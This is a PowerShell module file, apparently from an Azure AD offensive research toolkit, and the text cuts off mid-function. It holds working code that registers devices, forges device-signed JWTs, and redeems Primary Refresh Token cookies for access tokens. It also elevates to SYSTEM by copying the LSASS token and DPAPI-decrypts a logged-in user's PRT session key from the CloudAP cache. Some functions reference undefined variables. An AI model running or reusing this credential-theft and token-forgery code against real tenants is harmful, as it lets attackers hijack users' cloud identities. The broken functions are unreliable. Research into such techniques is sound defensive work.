PRT_Utils.ps1

# Aug 21st 2020
function Register-DeviceToAzureAD
{

    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$False)]
        [String]$AccessToken,
        [Parameter(Mandatory=$True)]
        [String]$DeviceName,
        [Parameter(Mandatory=$False)]
        [String]$DeviceType,
        [Parameter(Mandatory=$False)]
        [String]$OSVersion,
        [Parameter(Mandatory=$False)]
        [Bool]$SharedDevice=$False,

        [Parameter(Mandatory=$False)]
        [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
        [Parameter(Mandatory=$False)]
        [String]$DomainName,
        [Parameter(Mandatory=$False)]
        [Guid]$TenantId,
        [Parameter(Mandatory=$False)]
        [String]$DomainController,
        [Parameter(Mandatory=$False)]
        [String]$SID,
        [Parameter(Mandatory=$False)]
        [Bool]$RegisterOnly=$false
    )
    Process
    {
        # If certificate provided, this is a Hybrid Join
        if($hybrid = $Certificate -ne $null)
        {
            # Load the "user" certificate private key
            try
            {
                $privateKey =  Load-PrivateKey -Certificate $Certificate
            }
            catch
            {
                Write-Error "Could not extract the private key from the given certificate!"
                return
            }

            $deviceId = $certificate.Subject.Split("=")[1]
            try
            {
                $deviceIdGuid = [Guid]$deviceId
            }
            catch
            {
                Write-Error "The certificate subject is not a valid device id (GUID)!"
                return
            }

            # Create the signature blob
            $clientIdentity =  "$($SID).$((Get-Date).ToUniversalTime().ToString("u"))"
            $bClientIdentity = [System.Text.Encoding]::ASCII.GetBytes($clientIdentity)
            $signedBlob =      $privateKey.SignData($bClientIdentity, "SHA256")
            $b64SignedBlob =   Convert-ByteArrayToB64 -Bytes $signedBlob
        }
        else
        {
            # Get the domain and tenant id
            $at_info =  Read-Accesstoken -AccessToken $AccessToken
            if([string]::IsNullOrEmpty($DomainName))
            { 
                if($at_info.upn)
                {
                    $DomainName = $at_info.upn.Split("@")[1]
                }
                else 
                {
                    # Access Token fetched with SAML token so no upn
                    # "unique_name" = "http://<domain>/adfs/services/trust/#"
                    $DomainName = $at_info.unique_name.split("/")[2]
                    $hybridSAML = $true
                }
            }
            $tenantId = [GUID]$at_info.tid

            $headers=@{"Authorization" = "Bearer $AccessToken"}
        }

        # Create a private key
        $rsa = [System.Security.Cryptography.RSA]::Create(2048)

        # Initialize the Certificate Signing Request object
        $CN =  "CN=7E980AD9-B86D-4306-9425-9AC066FB014A" 
        $req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
        
        # Create the signing request
        $csr = Convert-ByteArrayToB64 -Bytes $req.CreateSigningRequest()

        # Use the device private key as a transport key just to make things simpler
        $transportKey = Convert-ByteArrayToB64 -Bytes $rsa.Key.Export([System.Security.Cryptography.CngKeyBlobFormat]::GenericPublicBlob)
        
        # Create the request body
        # JoinType 0 = Azure AD join, transport key = device key
        # JoinType 4 = Azure AD registered, transport key = device key
        # JoinType 6 = Azure AD hybrid join, transport key = device key. Hybrid join this way is not supported, there must be an existing device with user cert.

        $body=@{
            "CertificateRequest" = @{
                "Type" = "pkcs10"
                "Data" = $csr
                }
            "Attributes" = @{
                "ReuseDevice" =     "$true"
                "ReturnClientSid" = "$true"
                "SharedDevice" =    "$SharedDevice"
                }
        }
        if($hybrid)
        {
            $body["JoinType"] = 6 # Hybrid Join
            $body["ServerAdJoinData"] = @{
                    "TransportKey" =           $transportKey
                    "TargetDomain" =           $DomainName
                    "DeviceType" =             $DeviceType
                    "OSVersion" =              $OSVersion
                    "DeviceDisplayName" =      $DeviceName
                    "SourceDomainController" = $DomainController
                    "TargetDomainId" =         $tenantId.ToString()
                    "ClientIdentity" =  @{
                        "Type" =               "sha256signed"
                        "Sid" =                $clientIdentity
                        "SignedBlob" =         $b64SignedBlob
                    }
                }
        }
        else
        {
            if($hybridSAML)
            {
                $body["JoinType"] =      6 # Hybrid Join
            }
            elseif($RegisterOnly)
            {
                $body["JoinType"] =      4 # Register
            }
            else
            {
                $body["JoinType"] =      0 # Join
            }
            $body["TransportKey"] =      $transportKey
            $body["TargetDomain"] =      $DomainName
            $body["DeviceType"] =        $DeviceType
            $body["OSVersion"] =         $OSVersion
            $body["DeviceDisplayName"] = $DeviceName
        }

        # Make the enrollment request
        try
        {
            if($hybrid)
            {
                $response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/$deviceId`?api-version=1.0" -Body $($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
            }
            else
            {
                $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/?api-version=1.0" -Headers $headers -Body $($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
            }
        }
        catch
        {
            Write-Error $_
            return
        }

        Write-Debug "RESPONSE: $response"
        
        # Get the certificate
        $binCert = [byte[]] (Convert-B64ToByteArray -B64 $response.Certificate.RawBody)

        # Create a new x509certificate
        $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::UserKeySet -band [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)

        # Store the private key to so that it can be exported
        $cspParameters = [System.Security.Cryptography.CspParameters]::new()
        $cspParameters.ProviderName =    "Microsoft Enhanced RSA and AES Cryptographic Provider"
        $cspParameters.ProviderType =    24
        $cspParameters.KeyContainerName ="AADInternals"
            
        # Set the private key
        $privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
        $privateKey.ImportParameters($rsa.ExportParameters($true))
        $cert.PrivateKey = $privateKey

        # Return
        $returnValue=@(
            $cert
            $response
        )
        
        return $returnValue
    }
}

# Aug 21st 2020
function Sign-JWT
{
    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$False)]
        [System.Security.Cryptography.RSA]$PrivateKey,
        [Parameter(Mandatory=$False)]
        [Byte[]]$Key,
        [Parameter(Mandatory=$True)]
        [byte[]]$Data
    )
    Process
    {
        if($PrivateKey)
        {
            # Sign the JWT (RS256)
            $signature = $PrivateKey.SignData($Data, [System.Security.Cryptography.HashAlgorithmName]::SHA256, [System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
        }
        else
        {
            # Sign the JWT (HS256)
            $hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$Key)
            $signature = $hmac.ComputeHash($Data)
            $hmac.Dispose()
        }

        # Return
        return $signature
    }
}

# Aug 24th 2020
# Derives a 32 byte key using the given context and session key
function Get-PRTDerivedKey
{
    [cmdletbinding()]
    Param(
        [Parameter(ParameterSetName='Byte',Mandatory=$True)]
        [byte[]]$Context,
        [Parameter(ParameterSetName='Byte',Mandatory=$True)]
        [byte[]]$SessionKey,
        [Parameter(ParameterSetName='B64',Mandatory=$True)]
        [string]$B64Context,
        [Parameter(ParameterSetName='B64',Mandatory=$True)]
        [string]$B64SessionKey,
        [Parameter(ParameterSetName='Hex',Mandatory=$True)]
        [string]$HexContext,
        [Parameter(ParameterSetName='Hex',Mandatory=$True)]
        [string]$HexSessionKey
    )
    Process
    {
        if($B64Context)
        {
            $Context =    Convert-B64ToByteArray $B64Context
            $SessionKey = Convert-B64ToByteArray $B64SessionKey
        }
        elseif($HexContext)
        {
            $Context =    Convert-HexToByteArray $HexContext
            $SessionKey = Convert-HexToByteArray $HexSessionKey
        }

        # Fixed label
        $label = [text.encoding]::UTF8.getBytes("AzureAD-SecureConversation")

        # Derive the decryption key using a standard NIST SP 800-108 KDF
        # As the key size is only 32 bytes (256 bits), no need to loop :)
        $computeValue = @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $Context + @(0x00,0x00,0x01,0x00)
        $hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$SessionKey)
        $hmacOutput = $hmac.ComputeHash($computeValue)

        Write-Verbose "DerivedKey: $(Convert-ByteArrayToHex $hmacOutput)"
        
        # Return
        $hmacOutput
    }
}

# Get the access token with PRT
# Aug 20th 2020
function Get-AccessTokenWithPRT
{
    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$True)]
        [String]$Cookie,
        [Parameter(Mandatory=$True)]
        [String]$Resource,
        [Parameter(Mandatory=$True)]
        [String]$ClientId,
        [Parameter(Mandatory=$False)]
        [String]$RedirectUri,
        [switch]$GetNonce,
        [Parameter(Mandatory=$False)]
        [String]$Tenant
    )
    Process
    {
        # If no tenant is given, use Common
        if([string]::IsNullOrEmpty($Tenant))
        {
            $Tenant = "Common"
        }

        $parsedCookie = Read-Accesstoken $Cookie

        #Set RedirectURI
        if([string]::IsNullOrEmpty($RedirectUri))
        {
            $RedirectUri = Get-AuthRedirectUrl -ClientID $ClientId -Resource $Resource
        }

        # Create parameters
        $mscrid =    (New-Guid).ToString()
        $requestId = $mscrid
        
        # Create url and headers
        $url = "https://login.microsoftonline.com/$Tenant/oauth2/authorize?resource=$Resource&client_id=$ClientId&response_type=code&redirect_uri=$RedirectUri&client-request-id=$requestId&mscrid=$mscrid"

        # Add sso_nonce if exist
        if($parsedCookie.request_nonce)
        {
            $url += "&sso_nonce=$($parsedCookie.request_nonce)"
        }

        $headers = @{
            "User-Agent" = ""
            "x-ms-RefreshTokenCredential" = $Cookie
            }

        # First, make the request to get the authorisation code (tries to redirect so throws an error)
        $response = Invoke-WebRequest -UseBasicParsing -Uri $url -Headers $headers -MaximumRedirection 0 -ErrorAction SilentlyContinue

        $code = Parse-CodeFromResponse -Response $response
        
        if(!$code)
        {
            throw "Code not received!"
        }

        # Create the body
        $body = @{
            client_id =    $ClientId
            grant_type =   "authorization_code"
            code =         $code
            redirect_uri = $RedirectUri
        }

        # Make the second request to get the access token
        $response = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body -ContentType "application/x-www-form-urlencoded" -Method Post

        Write-Debug "ACCESS TOKEN: $($response.access_token)"
        Write-Debug "REFRESH TOKEN: $($response.refresh_token)"

        # Return
        return $response
            
    }
}

# Get the access token with BPRT
# Jan 10th 2021
function Get-AccessTokenWithBPRT
{
    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$True)]
        [String]$BPRT,
        [Parameter(Mandatory=$True)]
        [String]$Resource,
        [Parameter(Mandatory=$True)]
        [String]$ClientId
    )
    Process
    {
        Get-AccessTokenWithRefreshToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2" -TenantId "Common" -RefreshToken $BPRT
    }
}

# Get the token with deviceid claim
# Aug 28th
function Set-AccessTokenDeviceAuth
{
    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$False)]
        [bool]$BPRT,
        [Parameter(Mandatory=$False)]
        [string]$AccessToken,
        [Parameter(Mandatory=$True)]
        [string]$RefreshToken,

        [Parameter(Mandatory=$False)]
        [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,

        [Parameter(Mandatory=$False)]
        [string]$PfxFileName,
        [Parameter(Mandatory=$False)]
        [string]$PfxPassword,
        [Parameter(Mandatory=$False)]
        [string]$TransportKeyFileName
    )
    Process
    {
        if(!$Certificate)
        {
            $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
        }

        if($BPRT)
        {
            # Fixed values for BPRT to get access token for Intune MDM
            $clientId = "b90d5b8f-5503-4153-b545-b31cecfaece2"
            $resource = "https://enrollment.manage.microsoft.com/" 
        }
        else
        {
            # This is the only supported client id :(
            $clientId = "29d9ed98-a469-4536-ade2-f981bc1d605e"

            # Get the claims from the access token to get the resource
            $claims = Read-Accesstoken -AccessToken $AccessToken
            $resource = $claims.aud
        }
        
        # Get the private key
        if($TransportKeyFileName)
        {       
            # Get the transport key from the provided file
            $tkPEM = (Get-Content $TransportKeyFileName) -join "`n"
            $tkParameters = Convert-PEMToRSA -PEM $tkPEM
            $privateKey = [System.Security.Cryptography.RSA]::Create($tkParameters)
        }
        else
        {
            $privateKey = Load-PrivateKey -Certificate $Certificate 
        }

        $body=@{
            "grant_type" =          "srv_challenge"
            "windows_api_version" = "2.0"
            "client_id" =           $clientId
            "redirect_uri" =        "ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS"
            "resource" =            $resource
        }

        if($BPRT)
        {
            $body.Remove("redirect_uri")
        }
                
        # Get the nonce
        $nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body).Nonce

        # B64 encode the public key
        $x5c = Convert-ByteArrayToB64 -Bytes ($certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))

        # Create the header and body
        $hdr = [ordered]@{
            "alg" = "RS256"
            "typ" = "JWT"
            "x5c" = "$x5c"
        }

        $OSVersion="10.0.18362.997"

        $pld = [ordered]@{
            "win_ver" =       $OSVersion
            "resource" =      $resource
            "scope" =         "openid aza"
            "request_nonce" = $nonce
            "refresh_token" = $RefreshToken
            "redirect_uri" =  "ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS"
            "iss" =           "aad:brokerplugin"
            "grant_type" =    "refresh_token"
            "client_id" =     $clientId
        }

        if($BPRT)
        {
            $pld.Remove("redirect_uri")
            $pld["scope"] = "openid"
        }

        # Create the JWT
        $jwt = New-JWT -PrivateKey $privateKey -Header $hdr -Payload $pld
        
        # Construct the body
        $body = @{
            "windows_api_version" = "2.0"
            "grant_type"          = "urn:ietf:params:oauth:grant-type:jwt-bearer"
            "request"             = "$jwt"
        }

        # Make the request to get the new access token
        $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body
        
        if($BPRT)
        {
            $response | Add-Member -NotePropertyName "refresh_token" -NotePropertyValue $RefreshToken
        }

        Write-Debug "ACCESS TOKEN: $($response.access_token)"
        Write-Debug "REFRESH TOKEN: $($response.refresh_token)"

        # Return
        return $response
            
    }
}

function New-JWT
{
    [cmdletbinding()]
    Param(
        [Parameter(ParameterSetName='PrivateKey', Mandatory=$True)]
        [System.Security.Cryptography.RSA]$PrivateKey,
        [Parameter(ParameterSetName='Key',Mandatory=$True)]
        [Byte[]]$Key,
        [Parameter(Mandatory=$True)]
        [System.Collections.Specialized.OrderedDictionary]$Header,
        [Parameter(Mandatory=$True)]
        [System.Collections.Specialized.OrderedDictionary]$Payload
    )
    Process
    {
        # Construct the header
        $txtHeader =  $Header  | ConvertTo-Json -Compress
        $txtPayload = $Payload | ConvertTo-Json -Compress

        # Convert to B64 and strip the padding
        $b64Header =  Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.getBytes($txtHeader )) -NoPadding
        $b64Payload = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.getBytes($txtPayload)) -NoPadding

        # Construct the JWT data to be signed
        $binData = [text.encoding]::UTF8.GetBytes(("{0}.{1}" -f $b64Header,$b64Payload))

        # Get the signature
        $Binsig = Sign-JWT -PrivateKey $PrivateKey -Key $Key -Data $binData
        $B64sig = Convert-ByteArrayToB64 -Bytes $Binsig -UrlEncode

        # Construct the JWT
        $jwt = "{0}.{1}.{2}" -f $b64Header,$b64Payload,$B64sig

        # Return
        return $jwt
    }
}

function Get-PRTKeyInfo
{
    [cmdletbinding()]
    Param(
        

        [Parameter(ParameterSetName='PrivateKey',Mandatory=$True)]
        [byte[]]$PrivateKey
    )
    Process
    {


        # Create a random context
        $ctx = New-Object byte[] 24
        ([System.Security.Cryptography.RandomNumberGenerator]::Create()).GetBytes($context)

        # Get the private key
        $privateKey = Load-PrivateKey -Certificate $Certificate 

        $body=@{
            "grant_type" =          "srv_challenge"
            "windows_api_version" = "2.0"
            "client_id" =           $ClientId
            "redirect_uri" =        $RedirectUri
            "resource" =            $Resource
        }
        
        # Get the nonce
        $nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body).Nonce

        # B64 encode the public key
        $x5c = Convert-ByteArrayToB64 -Bytes ($certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))

        # Create the header and body
        $hdr = [ordered]@{
            "alg" = "RS256"
            "typ" = "JWT"
            "x5c" = "$x5c"
        }

        $OSVersion="10.0.18362.997"

        $pld = [ordered]@{
            "win_ver" =       $OSVersion
            "resource" =      $Resource
            "scope" =         "openid aza"
            "request_nonce" = $nonce
            "refresh_token" = $RefreshToken
            "redirect_uri" =  $RedirectUri
            "iss" =           "aad:brokerplugin"
            "grant_type" =    "refresh_token"
            "client_id" =     $ClientId
        }

        # Create the JWT
        $jwt = New-JWT -PrivateKey $privateKey -Header $hdr -Payload $pld
        
        # Construct the body
        $body = @{
            "windows_api_version" = "2.0"
            "grant_type"          = "urn:ietf:params:oauth:grant-type:jwt-bearer"
            "request"             = "$jwt"
        }

        # Make the request to get the PRT key information
        $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body
        
        Write-Debug "ACCESS TOKEN: $($response.access_token)"
        Write-Debug "REFRESH TOKEN: $($response.refresh_token)"

        # Return
        return $response
            
    }
}

# Parses the given JWE
# Dec 22nd 2021
Function Parse-JWE
{

    [cmdletbinding()]

    param(
        [parameter(Mandatory=$True,ValueFromPipeline)]
        [String]$JWE
    )
    process
    {
        $parts = $JWE.Split(".")
        if($parts.Count -ne 5)
        {
            Throw "Invalid JWE: $($parts.Count) parts, expected 5"
        }

        # Decode and parse the header
        $parsedJWT = Convert-B64ToText -B64 $parts[0] | ConvertFrom-Json 
        # Add other parts
        $parsedJWT | Add-Member -NotePropertyName "Key"        -NotePropertyValue $parts[1]
        $parsedJWT | Add-Member -NotePropertyName "Iv"         -NotePropertyValue $parts[2]
        $parsedJWT | Add-Member -NotePropertyName "CipherText" -NotePropertyValue $parts[3]
        $parsedJWT | Add-Member -NotePropertyName "Tag"        -NotePropertyValue $parts[4]
        
        return $parsedJWT
    }
}

# Decrypt the given JWE
# Dec 22nd 2021
Function Decrypt-JWE
{

    [cmdletbinding()]

    param(
        [Parameter(Mandatory=$True,ValueFromPipeline)]
        [String]$JWE,
        [Parameter(Mandatory=$True,ParameterSetName = "RSA")]
        [System.Security.Cryptography.RSA]$PrivateKey,
        [Parameter(Mandatory=$False,ParameterSetName = "RSA")]
        [bool]$returnKey = $true,
        [Parameter(Mandatory=$True,ParameterSetName = "Key")]
        [byte[]]$Key,
        [Parameter(Mandatory=$True,ParameterSetName = "SessionKey")]
        [byte[]]$SessionKey
    )
    process
    {
        $parsedJWE = Parse-JWE -JWE $JWE

        $alg = $parsedJWE.alg

        # If this is refresh_token or code, use RSA-OAEP
        if([string]::IsNullOrEmpty($alg) -and $parsedJWE.ser -eq "1.0")
        {
            $alg = "RSA-OAEP"
        }
        elseif($parsedJWE.enc -ne "A256GCM")
        {
            Throw "Unsupported enc: $enc"
        }

        # Decrypt data using symmetric key
        if($alg -eq "dir") 
        {
            # Derive decryption key from the session key and context
            if($SessionKey)
            {
                if(!$parsedJWE.ctx)
                {
                    Throw "Missing ctx, unable to derive encryption key!"
                }
                $context = Convert-B64ToByteArray -B64 $parsedJWE.ctx
                $key     = Get-PRTDerivedKey -SessionKey $SessionKey -Context $context
            }

            if(!$parsedJWE.Iv -or !$parsedJWE.CipherText)
            {
                Throw "Missing Iv and/or CipherText, unable to decrypt!"
            }
            
            $iv      = Convert-B64ToByteArray -B64 $parsedJWE.Iv
            $encData = Convert-B64ToByteArray -B64 $parsedJWE.CipherText

            # Create the crypto provider.
            # The data is always encrypted using A256CBC instead of A256GCM, because AesCryptoServiceProvider does not support GCM mode.
            $cryptoProvider     = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
            $cryptoProvider.Key = $Key
            $cryptoProvider.iv  = $iv

            # Create a crypto stream
            $buffer = [System.IO.MemoryStream]::new()
            $cryptoStream = [System.Security.Cryptography.CryptoStream]::new($buffer, $cryptoProvider.CreateDecryptor($Key,$iv),[System.Security.Cryptography.CryptoStreamMode]::Write)

            # Decrypt the data
            $cryptoStream.Write($encData,0,$encData.Count)
            $cryptoStream.FlushFinalBlock()
            $decData = $buffer.ToArray()

            # Clean up
            $cryptoStream.Dispose()
            $cryptoProvider.Dispose()

            return $decData
        }
        elseif($alg -eq "RSA-OAEP") # Decrypt data using encrypted key
        {
            if(!$PrivateKey)
            {
                Throw "PrivateKey required for RSA-OAEP encrypted JWE"
            }

            try
            {
                # Decrypt the content encryption key (CEK)
                $encKey = Convert-B64ToByteArray -B64 $parsedJWE.Key
                $CEK    = [System.Security.Cryptography.RSAOAEPKeyExchangeDeformatter]::new($privateKey).DecryptKeyExchange($encKey)

                # Extract the parameters
                $iv      = Convert-B64ToByteArray -B64 $parsedJWE.Iv
                $encData = Convert-B64ToByteArray -B64 $parsedJWE.CipherText
                $tag     = Convert-B64ToByteArray -B64 $parsedJWE.Tag
                $keyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter]::new($CEK)

                # Append Tag to Encrypted data
                $buffer = New-Object byte[] ($encData.Count + $tag.Count)
                [Array]::Copy($encData,0,$buffer,0             ,$encData.Count)
                [Array]::Copy($tag    ,0,$buffer,$encData.Count,$tag.Count)
                $encData = $buffer

                # Create & init block cipher. This data is correctly encrypted with A256GCM.
                $AEADParameters = [Org.BouncyCastle.Crypto.Parameters.AeadParameters]::new($keyParameter,128,$iv)
                $GCMBlockCipher = [Org.BouncyCastle.Crypto.Modes.GcmBlockCipher]::new([Org.BouncyCastle.Crypto.Engines.AesFastEngine]::new())
                $GCMBlockCipher.init($false, $AEADParameters)

                # Create an array for the decrypted data
                $decData = New-Object byte[] $GCMBlockCipher.GetOutputSize($encData.Count)

                # Decrypt the data
                $res = $GCMBlockCipher.ProcessBytes($encData, 0, $encData.Count, $decData, 0)
                $res = $GCMBlockCipher.DoFinal($decData, $res)
                
                # Return the key instead of data
                if($returnKey)
                {
                    # With session_key_jwe the decrypted data seems always to be one byte: 32
                    if($decData[0] -ne 32)
                    {
                        Write-Warning "Decrypted data was not 32. Key may be invalid."
                    }

                    $retVal = $CEK
                }
                else
                {
                    # De-deflate
                    if($parsedJWE.zip -eq "Deflate")
                    {
                        $retVal = Get-DeDeflatedByteArray -byteArray $decData
                    }
                    else
                    {
                        $retVal = $decData
                    }
                }

                # Return
                return $retVal
            }
            catch
            {
                throw "Decrypting the key failed: ""$($_.Exception.InnerException.Message)"". Are you using the correct certificate or key?"
            }
        }
        else
        {
            Throw "Unsupported alg: $alg"
        }
    }
}

# Derivate KDFv2 context
# Mar 3rd 2022
function Get-KDFv2Context
{
    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$True)]
        [Byte[]]$Context,
        [Parameter(Mandatory=$True)]
        [System.Collections.Specialized.OrderedDictionary]$Payload
    )
    Begin
    {
        $sha256 = [System.Security.Cryptography.SHA256]::Create()
    }
    Process
    {
        # KDFv2 (Key Derivation Function v2) uses different context: SHA256(ctx || assertion payload)
        # We need to compute SHA256 hash from a byte array combined from context and payload.
        # Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oapxbc/89dfb8d6-23b8-4963-8908-91b34340e367

        # Get payload bytes
        $pldBytes = [text.encoding]::UTF8.getBytes(($Payload | ConvertTo-Json -Compress))

        # Create a buffer
        $buffer = New-Object byte[] ($Context.Count + $pldBytes.Count)

        # Copy context and payload to buffer
        [array]::Copy($Context ,0,$buffer,0             ,$Context.Count)
        [array]::Copy($pldBytes,0,$buffer,$Context.Count,$pldBytes.Count)
        
        # Return SHA256 hash
        return $sha256.ComputeHash($buffer)
    }
    End
    {
        $sha256.Dispose()
    }
}

# Parses the Cloud AP Cache Data CacheData
# C:\Windows\system32\config\systemprofile\AppData\local\microsoft\windows\CloudAPCache\AzureAD\<hash>\cache\cachedata
# May 31st 2023
function Parse-CloudAPCacheData
{
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [byte[]]$Data
    )
    
    Process
    {
        # Parse the header
        $p = 0;
        $version =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        if($version -ne 2)
        {
            Throw "Invalid version: $version. Was expecting 2."
        }

        $hash    =  $Data[($p)..($p-1 + 32)];                 $p += 32
        $p       += 8
        $dataLen =  [System.BitConverter]::ToInt64($Data,$p); $p += 8

        Write-Verbose "CacheData version: $version"
        Write-Verbose "CacheData SHA256: $(Convert-ByteArrayToHex -Bytes $hash)"
        Write-Verbose "CacheData length: $dataLen"

        # As I don't know the structure of the header so we need to find values based on what we know.

        # Guid starts at 0x38
        $p = 0x38
        $keyId = [guid][byte[]]$Data[($p)..($p-1 + 16)];     $p += 16

        # The size of the encrypted blob seems to be at 0x60
        $p = 0x60
        $encDataSize = [System.BitConverter]::ToInt32($Data,$p); $p += 4

        # Then we have a part of header we don't know. So we need to find the correct place.
        # Structure is:
        # encKeySize, encKey, encDataSize, encData

        # Length of the key seems to be always 0x30 so let's loop until we found the correct place.
        while($p -lt $dataLen)
        {
            $encKeySize = [System.BitConverter]::ToInt32($Data,$p); $p += 4
            if($encKeySize -eq 0x30)
            {
                # If the encrypted key is followed by the encrypted data size, we found the correct location
                if([System.BitConverter]::ToInt32($Data,$p + 0x30) -eq $encDataSize)
                {
                    break
                }
            }
        }

        Write-Verbose "EncryptedKey length: $encKeySize"
        $encKey     = $Data[($p)..($p-1 + $encKeySize)];        $p += $encKeySize

        $encDataSize = [System.BitConverter]::ToInt32($Data,$p); $p += 4
        Write-Verbose "EncryptedData length: $encDataSize"
        $encData     = $Data[($p)..($p-1 + $encDataSize)];       $p += $encDataSize

        Write-Verbose "CacheData key id: $keyId"

        return [pscustomobject]@{
            "EncryptedKey"  = $encKey
            "EncryptedData" = $encData
            "Id"            = $guid
        }
        
     }
}

# Parses the decrypted data blob from CacheData
# Jun 2nd 2023
function Parse-CloudAPCacheDataBlob
{
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [byte[]]$Data
    )
    
    Process
    {
        # Parse the header
        $p = 0;
        $version =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        if($version -ne 0)
        {
            Throw "Invalid version: $version. Was expecting 0."
        }

        $unk01   =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        $unk02   =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        $unk03   =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        $unk04   =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        $unk05   =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        $unk06   =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        $unk07   =  [System.BitConverter]::ToInt32($Data,$p); $p += 4

        $keyId   =  [guid][byte[]]$Data[($p)..($p-1 + 16)];   $p += 16
        $id1     =  $Data[($p)..($p-1 + 32)];                 $p += 32
        $id2     =  $Data[($p)..($p-1 + 32)];                 $p += 32

        Write-Verbose "CacheData blob version: $version"
        Write-Verbose "CacheData key id: $keyId"
        Write-Verbose "CacheData blob ID1?: $(Convert-ByteArrayToHex -Bytes $id1)"
        Write-Verbose "CacheData blob ID2?: $(Convert-ByteArrayToHex -Bytes $id2)"
        
        # Return the payload
        return $Data[$p..$($Data.Length)]
     }
}

# Decrypts POP Key (Session Key) blob using DPAPI
# May 31st 2023
function Unprotect-POPKeyBlob
{
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [byte[]]$Data
    )
    Begin
    {
        # Load system.security assembly
        Add-Type -AssemblyName System.Security
    }
    Process
    {
        # Parse the header
        $p = 0;
        $version =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        $type    =  [System.BitConverter]::ToInt32($Data,$p); $p += 4
        Write-Verbose "SessionKey version: $version"
        Write-Verbose "SessionKey type: $type"
        if($type -ne 1)
        {
            Throw "Only software key (type 1) can be exported."
        }

        # Get the key
        $key = $Data[$p..$($Data.Count)]
        
        # Decrypt using DPAPI
        return [Security.Cryptography.ProtectedData]::Unprotect($key,$null,'LocalMachine')
     }
}

# Get logged in user's PRT and Session key from CloudAP CacheData
# Jun 2nd 2023
function Get-UserPRTKeysFromCloudAP
{
    [CmdletBinding()]
    param(
        [Parameter(ParameterSetName='Credentials',Mandatory=$False)]
        [System.Management.Automation.PSCredential]$Credentials,
        [Parameter(ParameterSetName='Password',Mandatory=$true)]
        [byte[]]$Password,
        [Parameter(ParameterSetName='Password',Mandatory=$true)]
        [string]$Username
    )
    Begin
    {
        $WAM_AAD = "B16898C6-A148-4967-9171-64D755DA8520"
        $WAM_MSA = "D7F9888F-E3FC-49b0-9EA6-A85B5F392A4F"

        # Check that we are administrators
        Test-LocalAdministrator -Throw

        # Elevate to LOCAL SYSTEM
        $CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
        Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
        try
        {
            $status = [AADInternals.Native]::copyLsassToken()
        }
        catch
        {
            Write-Verbose $_.Exception.InnerException
            Throw "Unable to elevate: $($_.Exception.InnerException.Message). Use -Verbose switch for details."
        }
        
    }
    Process
    {
        if($Credentials)
        {
            $Username = $Credentials.UserName
        }

        # Find the user from registry
        $name2SidPath = "HKLM:\SOFTWARE\Microsoft\IdentityStore\LogonCache\$WAM_AAD\Name2Sid\"
        $name2SidKey = Get-Item -Path $name2SidPath -ErrorAction SilentlyContinue
        
        if($name2SidKey)
        {
            $users = $name2SidKey.GetSubKeyNames()
        }

        if($users -eq $null)
        {
            Throw "No users found from CacheData"
        }

        foreach($user in $users)
        {
